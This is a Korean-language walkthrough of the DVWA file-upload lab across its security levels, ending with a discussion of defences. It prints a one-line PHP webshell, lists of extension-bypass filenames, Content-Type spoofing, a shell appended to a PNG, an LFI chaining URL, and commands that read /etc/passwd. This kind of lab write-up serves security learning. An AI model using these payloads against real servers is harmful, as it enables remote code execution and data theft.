[DVWA] File Upload

Vulnerability: File Upload

파일 업로드(File Upload) 취약점은 공격자가 Server Side Script 코드가 포함된 파일을 올려서 코드를 실행하는 공격이다.

통상적으로 웹쉘(webshell)을 이용하기 때문에 웹쉘 공격이라고 생각하면된다.

일반적으로 웹쉘 업로드 취약점은 다음과 같은 확장자를 가지는 파일이 업로드 가능한 경우에 발생하게 된다.

(Blacklisting Bypass)
PHP → .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
ASP → .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp → .jsp, .jspx, .jsw, .jsv, .jspf
Coldfusion → .cfm, .cfml, .cfc, .dbm
Perl → .pl, .cgi
Using random capitalization → .pHp, .pHP5, .PhAr

(Whitelisting Bypass)
file.png.php file.png.Php5 file.php%20 file.php%0a file.php%00 file.php%0d%0a file.php/ file.php.\ file. file.php.... file.pHp5.... file.png.php file.png.pHp5 file.php#.png file.php%00.png file.php\x00.png file.php%0a.png file.php%0d%0a.png file.phpJunk123png file.png.jpg.php file.php%00.png%00.jpg

 

DVWA File Upload 실습

실습 환경
- Windows Docker를 이용한 DVWA
- Windows 환경의 Burp Suite

DVWA 실습 문제의 경우 PHP 기반의 웹 애플리케이션이다. PHP 코드를 실행할 수 있는 파일이 업로드 가능한지 점검한다.

 

Security Level: Low

Low 레벨의 경우, 업로드 파일에 대한 검사가 없기 때문에 php 확장자에 대한 업로드가 가능하다.

아래와 같이 한줄 웹쉘<?php system($_GET['cmd']) ?>이 포함된 코드를 삽입해 줄 수 있다.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

위와 같이 삽입하고 나면 업로드가 되었다는 메시지와 함께 파일의 업로드 위치를 알려준다.

../../hackable/uploads/cmd.php

위와 같은 경로에 파일이 위치하는 것을 알 수 있는데, 이것은 현재 위치에서 생각하면 두번의 상위 디렉터리에서 upload 디렉터리에 해당 파일이 존재한다는 것을 의미한다. 이를 URL주소로 바꿔보면 다음과 같다.

http://localhost/hackable/uploads/cmd.php

위의 주소를 입력해주고 ?를 붙여서 뒤에 cmd 파라미터에 원하는 명령어를 삽입해준다.

cmd=cat ../../../../../../etc/passwd

위와 같은 명령어를 입력해주면 다음과 같은 결과가 나온다.

웹쉘이 정상적으로 업로드 되었고, 실행되어 내부 정보를 확인할 수 있다는 것이 확인되었다.

---

Security Level: Medium

Medium 레벨의 경우, 업로드할 파일의 MIME-Type을 점검하고 있다. MIME 형식이 image/jpeg와 image/png인 경우에만 파일의 업로드를 허용한다. jpeg, png 확장자 만을 업로드 가능하도록 하고 있는 것이다.

MIME-Type은 웹 브라우저가 확장자를 기반으로 MIME을 결정해서 전달하게 된다.

웹 브라우저는 확장자를 기반으로 MIME을 결정하기 때문에 cmd.php 파일의 확장자를 다른 확장자로 변경하여 업로드하는 과정에서 웹 프록시(Burp Suite)를 이용하여 확장자를 변조하여 MIME-Type을 속이거나, cmd.php 파일을 업로드 하는 과정에서 MIME-Type을 허용하는 형식으로 변조하는 방식으로 우회가 가능하다.

위와 같이 Content-Type을 변조하여 우회가 가능하다.

업로드 하고 나면 Low 레벨과 같이 업로드 파일의 경로가 나오기 때문에 이를 그대로 URL에 입력하고 cmd 명령어를 입력해주면 된다.

http://localhost/hackable/uploads/cmd.php?cmd=cat%20../../../../../../etc/passwd

---

Security Level: High

High 레벨의 경우, 파일의 확장자에 대하여 대소문자 구분없이 jpg, jpeg, png 인 경우에만 파일 업로드를 허용한다. 또한 getimagesize() 함수가 FALSE가 아니어야 하는데, 실제 이미지 파일이 아닌 경우에는 getimagesize의 return 값이 FASLE이다.

// Is it an image?
if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {

cmd.php 파일을 cmd.png로 확장자만 변경한 경우, 확장자는 png이지만 내용이 평문파일이기 때문에 실제 이미지가 아니므로 getimagesize()의 반환값이 FALSE이기 때문에 다음과 같이 거부된다.

위의 톱니 그림 내부에 웹쉘을 삽입하여 시그니처를 그대로 이용하여 이미지 파일로 취급되어 정상적으로 업로드 되는 것을 확인할 수 있었다. (이미지 파일의 끝에 평문으로 PHP 코드를 덧 붙여도 정상적인 이미지로 인식한다.)

위와 같이 Hex Editor, HxD를 이용하여 이미지의 마지막에 웹쉘을 삽입한다.

<pre>
<?php system($_GET['cmd']) ?>
</pre>

해당 이미지를 업로드해보면 다음과 같다.

위와 같이 정상적으로 업로드되는 것을 확인할 수 있다.

하지만 위와 같이 이미지 파일로만 인식되어 실행되지 않는다.

해당 파일은 png 확장자를 가지고 있고 내용도 정상적인 이미지이기 때문에 웹 브라우저로 열어도 이미지만 출력되고 내부의 PHP 코드는 실행되지 않는다. 실질적으로 파일 업로드 취약점이 온전하게 방어된 것이다.

웹 취약점 분석에서 Vulnerability: File Upload high level은 취약점이 없다고 결론을 내릴 수 있다. 하지만 여기서 업로드한 이미지 웹 쉘을 실행할 수 있는 방법이 한가지 있다. 바로 LFI 취약점을 이용하는 것이다. 이 경우에는 LFI 취약점이므로 Vulnerability: File Upload high level에 해당하는 파일 업로드 취약점이라고 볼 수는 없다.

 

LFI 취약점 - 파일업로드

이미지 웹 쉘, 즉 이미지에 삽입된 웹 쉘은 일반적인 방법으로는 실행이 불가능하다. 하지만 해당 웹에 LFI 취약점이 있다면 Include를 이용하여 해당 이미지의 내용을 가져와서 웹쉘로서 이용이 가능하다.

마침 Vulnerability: File Upload high level에서 업로드한 이미지 웹쉘의 경우, Vulnerability: File Inclusion high level에 취약점이 존재하므로 이를 이용해본다.

그 결과 해당 이미지를 불러와서 파라미터 값을 넣어준 결과 위와 같이 웹쉘로서 이용이 가능한 것을 확인할 수 있다.

http://localhost/vulnerabilities/fi/?page=file:///../../../../../../var/www/html/hackable/uploads/cmd.png&cmd=cat%20/../../../../../../etc/passwd

여기서 다시금 LFI 취약점 자체는 매우 드물게 나타나는 취약점이지만, 어떤 형태로든 파일을 업로드하는 기능이 있으면 '확장자를 불문하는 웹쉘' 을 만들 수 있는 취약점이므로 매우 위험하다는 것을 알 수 있다.

---

Security Level: Impossible

Impossible 레벨의 경우, 업로드한 원본 이미지로부터 MIME 형식에 따라 PHP의 imagecreatefromjpeg() 함수나 imagecreatefrompng() 함수를 이용하여 새로운 이미지를 만들고 있다.

if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
} else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}

이 두 함수의 경우, 이미지만을 처리하기 때문에 이미지 데이터가 아닌 부분은 모두 버린다. 그 때문에 Exif 데이터도 지워지는 효과가 발생한다. 새로 생성한 이미지에는 별도의 Exif 정보가 삽입되고, 원본 이미지는 서버에 저장하지 않고 버리는 것을 볼 수 있다.

Exif(Exchangeable image file format, 교환 이미지 파일 형식)는 주로 디지털 카메라에서 사진이나 음성 파일 속에 파일의 정보와 관련 음성을 저장하기 위해서 사용하는 메타데이터 기록 표준이다. 촬영 시간, 촬영 위치, 초점거리, 사진 크기, 셔터 속도, 카메라 기종, 카메라 제조사 등 매우 다양한 정보를 기록할 수 있다. 이미지 파일의 내부에 저장되는 것이 큰 장점으로 별도의 관리를 필요로 하지 않는다.

이것을 살펴보자면 다음과 같다.

실제로 업로드 해본 후 차이를 확인해본 결과이다.

우선 아무것도 바뀌지 않는 High 레벨의 업로드할 파일과 업로드 후 파일을 다운로드 받아 exiftool을 이용하여 비교해본 결과이다.

업로드 파일 / 다운로드 파일

위의 두 파일에 대하여 살펴보면 변경점이 없는 것을 확인할 수 있다. 하지만 Impossible 레벨의 경우 다음과 같이 다른 결과를 확인할 수 있다.

업로드 하면 위와 같이 저장 위치와 이름을 알 수 없도록 업로드 되는데, 업로드한 파일과 업로드 후 다운로드 받은 파일을 확인해보면 다음과 같다.

업로드 한 파일

업로드 후 다운받은 파일

위의 두 값을 확인해보면 이미지의 정보가 바뀌어 있는 것을 확인해볼 수 있다. 또한 다음과 같이 이미지 웹 쉘로서 이미지 끝에 삽입한 평문 PHP 웹쉘 구문에 대하여 해당 부분이 지워진 것을 확인할 수 있다.

업로드한 파일

업로드 후 다운받은 파일

위와 같이 이미지가 재생성되면서, 삽입된 PHP 웹쉘을 삭제해버린 것을 확인할 수 있다.

---

보안 vs 가용성

이것은 실질적으로 완벽하다 못해 과하다고도 볼 수 있는 보안이라고 할 수 있다.

이미지 업로드 기능에 있어서 현실적으로 High 레벨의 방어법이 가장 높은 수준이라고 보아도 무방하다. (물론 원본 파일이름을 변경하지 않고 저장하고, 저장 경로를 그대로 보여주는 것은 수정해야할 부분이기는 하지만, LFI 취약점이 없다면 해당 파일은 실행할 수 없기 때문에 높은 수준이라고 본다.)

그런데 Impossible 레벨의 경우에는 Exif(Exchangeable image file format) 정보까지 모두 지우고 있는데, 일반적으로 사진에는 다소 중요한 정보들이 Exif 데이터에 담겨져 있어서 이를 삭제하는 것은 서비스에 지장을 줄 가능성이 있다는 것이다.

이것은 보안과 가용성이 상충하는 것이라고 볼 수 있는데, 보안이 가용성을 이겨서는 안된다.

 

업로드한 파일과 업로드 후 다운로드 받은 파일을 이미지적으로만 보면 두 파일이 동일한 이미지인 것처럼 보인다. 하지만 실제로는 전혀 다른 파일이라는 것이다. 이런 방식으로 이미지 파일을 재작성하여 서버에 저장하면 웹쉘 업로드나 LFI 취약점에 악용되는 것은 완전하게 방어할 수 있을 것이다.

그러나 실제 서비스에서는 이러한 방식을 취하는 것은 어려울 수 있다.

1. 사용자가 업로드하는 이미지를 조작하는 것에 대한 저작권 문제가 발생할 수 있다.
(이미지의 정보가 담겨있는 부분을 변경하기 때문에 저작권 문제를 고려해야 한다.)
2. 이미지를 재처리하는 작업은 서버에 부담을 줄 가능성이 높다.
3. 최근의 이미지는 주로 사진으로, 내부에는 위치정보와 같은 다양한 정보가 제공된다.
(이것이 저장되어 있는 Exif를 제거하는 경우 이러한 정보를 모두 잃게되는 결과를 초래할 수 있다.)

위와 같은 이유에서 실제 서비스에서는 Vulnerability: File Upload high level의 검증 방식이 가장 안전하게 사용할 수 있는 웹쉘업로드 방어법이라고 할 수 있다. (물론 위에서 말했듯이 파일명을 그대로 저장하는 것은 수정해야할 필요가 있지만 말이다.)

 

---

질문 환영, 수정 및 보완에 대한 지적 환영